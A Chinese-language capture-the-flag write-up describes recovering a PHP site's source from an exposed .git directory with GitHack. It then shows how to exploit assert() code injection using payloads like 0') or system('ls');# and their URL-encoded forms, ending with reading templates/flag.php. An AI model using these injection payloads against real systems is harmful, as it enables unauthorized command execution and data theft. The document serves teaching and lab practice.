打开题目,首页一篇没啥用的开场,仔细查看会发现有这样一个网页
这个网页就有很明显的提示:git,php
首先去看看网页的git,果不其然有我们需要的东西
但是直接点击下载之后,出现的全是乱码,这个时候就需要githack一下了
格式:python GitHack.py http://xxx.xxx.xxx.xxx/.git
这样,一大堆代码我们就获得了
打开文件夹,看看代码,需要注意的就是一下部分了
这里面反复出现函数assert(),拿到百度上看一看
关于安全性:如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。跟eval()类似, 不过eval($assertion)只是执行符合php编码规范的code_str。
这里我们通过输入特定的字符,使得函数assert()发挥其他作用,原理类似简单sql注入
第一次尝试,构造如下:0 ’ ) or phpinfo() ;#
如此,原语句就变成了这种形式:’#'号的意思是把这一行之后的代码都注释掉了,assert函数执行下来就是做了phpinfo函数
但是照着我这样的构造写的话,很大概率会报错,要对我们的构造代码处理一下
处理成url编码,再尝试一次就OK了
之后再构造相关的查询:0 ’ ) or system(‘ls’) ;#
转码后: 0%27)%20or%20system(%27ls%27);%23
再打开网页源代码
构造如下:0 ’ ) or system(‘ls+templates’) ;#
转码后:0%27)%20or%20system(%27ls%2btemplates%27);%23
打开网页源码:
构造如下:0’) or system(‘cat+templates/flag.php’);#
转码后:0%27)%20or%20system(%27cat%2btemplates%2fflag.php%27);%23
题主在这发现了一些问题,并不是所有转码都是可行的,’+‘和’/‘的转码会引起歧义
最后修改后:0’) or system(‘cat+templates/flag.php’);%23
得到flag